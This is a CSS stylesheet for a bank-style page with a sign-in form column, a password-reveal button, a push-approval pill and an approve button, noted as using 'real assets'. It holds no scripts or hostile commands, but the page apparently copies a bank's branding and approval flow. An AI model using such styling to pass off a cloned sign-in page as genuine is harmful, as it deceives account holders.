.td-site .td-btn{font-family:"Webly Sleek SemiBold","Webly Sleek SemiLight",Arial,sans-serif;font-weight:700}
.td-site .td-box{grid-template-columns:45.8rem 1fr;gap:14.9rem;padding:3.2rem 5.4rem}
@media (max-width:1100px){.td-site .td-box{gap:6rem}}
.td-site .td-topbar,.td-site .td-header,.td-site .td-footer{width:100%;align-self:stretch}
@media (max-width:860px){
  .td-site .td-box{grid-template-columns:1fr;gap:2.4rem;padding:2rem 1.6rem}
  .td-site .td-form-col,.td-site .td-box.single .td-form-col{max-width:100%}
  .td-site .td-guarantee{white-space:normal}
  .td-site .td-btn{width:100%;min-width:0}
  .td-site .td-heading h1{text-align:left}
}

/* TD icon font + real assets */
@font-face{font-family:icons;src:url("/static/img/td-icons.woff2") format("woff2");font-weight:400;font-style:normal;font-display:block}
.td-site .td-icon{font-family:icons;font-style:normal;font-weight:400;line-height:1;display:inline-block;-webkit-font-smoothing:antialiased}
.td-site .td-icon-location:before{content:"\e93b"}
.td-site .td-icon-help:before{content:"\e930"}
.td-site .td-icon-search:before{content:"\e953"}
.td-site .td-icon-avatar:before{content:"\e999"}
.td-site .td-icon-twitter:before{content:"\e95d"}
.td-site .td-icon-facebook:before{content:"\e928"}
.td-site .td-icon-instagram:before{content:"\e985"}
.td-site .td-icon-youtube:before{content:"\e963"}
.td-site .td-icon-linkedin:before{content:"\e987"}
.td-site .td-logo img{height:4.3rem;width:auto;display:block}
.td-site .td-flagc{display:none}
.td-site .td-flag img{width:2.2rem;height:1.6rem;vertical-align:middle;margin-right:.4rem}
.td-site .td-actions .td-ic.td-icon{font-size:1.9rem}
.td-site .td-footer .td-foot-in{padding-top:0}
.td-site .td-foot-main{background:url("/static/img/footer_seat.png") left bottom/18rem auto no-repeat;padding-left:22rem;min-height:16rem;max-width:100rem}
.td-site .td-social span{font-family:icons;font-size:1.7rem}
.td-site .td-chair{display:none}
.td-site .eye-btn img{width:1.8rem;height:1.8rem}
.td-site .td-step-icon{width:9rem;height:auto;margin:0 0 1.8rem}
.td-site .td-art{width:12rem;margin:0 0 1.8rem}
.td-site .td-form-col > p{font-size:1.5rem;line-height:2.2rem;color:#333}
.td-site .td-box.single .td-form-col{max-width:45.8rem}
.td-site .eye-btn img{width:1.8rem;height:1.8rem}
.td-site .td-social span{display:inline-flex;align-items:center;justify-content:center;font-size:1.5rem;line-height:1;padding-top:.15rem}
.td-site .td-social{gap:1.4rem}
.td-site .td-social span{width:4.2rem;height:4.2rem;font-size:1.9rem;display:grid;place-items:center;padding:0 0 .2rem}
.td-site .td-art{margin:0 auto 1.8rem}
.td-site .td-step-icon{margin:0 auto 1.8rem}
.td-site .td-box.single{grid-auto-flow:row}
.td-site .td-box.single > .td-art,.td-site .td-box.single > .td-form-col{grid-column:1/-1}
.td-site .td-box.single > .td-art{justify-self:center}
.td-site .td-box.single > .td-form-col{justify-self:stretch;max-width:45.8rem;width:100%;margin:0 auto}
.td-site .td-box.single{gap:2rem;padding:3.2rem 5.4rem}
.td-site .td-push-pill{display:inline-flex;align-items:center;gap:.7rem;background:#fff5e0;color:#9a6a00;border-radius:10rem;padding:.6rem 1.3rem;font-size:1.4rem;font-weight:700}
.td-site #approveBtn{display:flex;width:auto;min-width:25rem}
